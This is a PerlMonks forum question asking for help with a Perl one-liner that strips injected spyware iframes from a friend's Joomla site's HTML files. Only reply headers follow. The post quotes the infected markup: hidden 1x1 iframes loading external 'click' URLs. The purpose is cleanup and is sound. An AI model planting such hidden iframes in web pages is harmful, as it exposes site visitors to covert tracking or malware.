doniking has asked for the wisdom of the Perl Monks concerning the following question:
sample of the file.htmlfind . -name '*.html' -print0 | xargs -0 perl -pi -e 's/<iframe\s+src= +"http:\/\/(.+?)\/?click=[^>]*>(.*?)<\/iframe>//sig'
It works on RegexBuddy. I'm trying to get rid this spywares on my friend's joomla website :(<body><body bgcolor="#FFFFFF"></body></body><iframe src="http://brugen +i.net/?click=556023" width=1 height=1 style="visibility:hidden ;position:absolute"></iframe><iframe src="http://nabobil.net/?click=35 +98F2" width=1 height=1 style="visibility:hidden;position:absol ute"></iframe>
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: need help for search and replace oneliner
by jwkrahn (Abbot) on Jun 30, 2009 at 12:06 UTC | |
by doniking (Novice) on Jun 30, 2009 at 13:58 UTC | |
|
Re: need help for search and replace oneliner
by Utilitarian (Vicar) on Jun 30, 2009 at 11:21 UTC | |
by afoken (Chancellor) on Jun 30, 2009 at 11:36 UTC | |
by Utilitarian (Vicar) on Jun 30, 2009 at 12:23 UTC | |
by afoken (Chancellor) on Jul 02, 2009 at 21:53 UTC | |
by parv (Parson) on Jul 12, 2009 at 03:22 UTC | |
by doniking (Novice) on Jun 30, 2009 at 14:01 UTC | |
|
Re: need help for search and replace oneliner
by afoken (Chancellor) on Jun 30, 2009 at 11:37 UTC |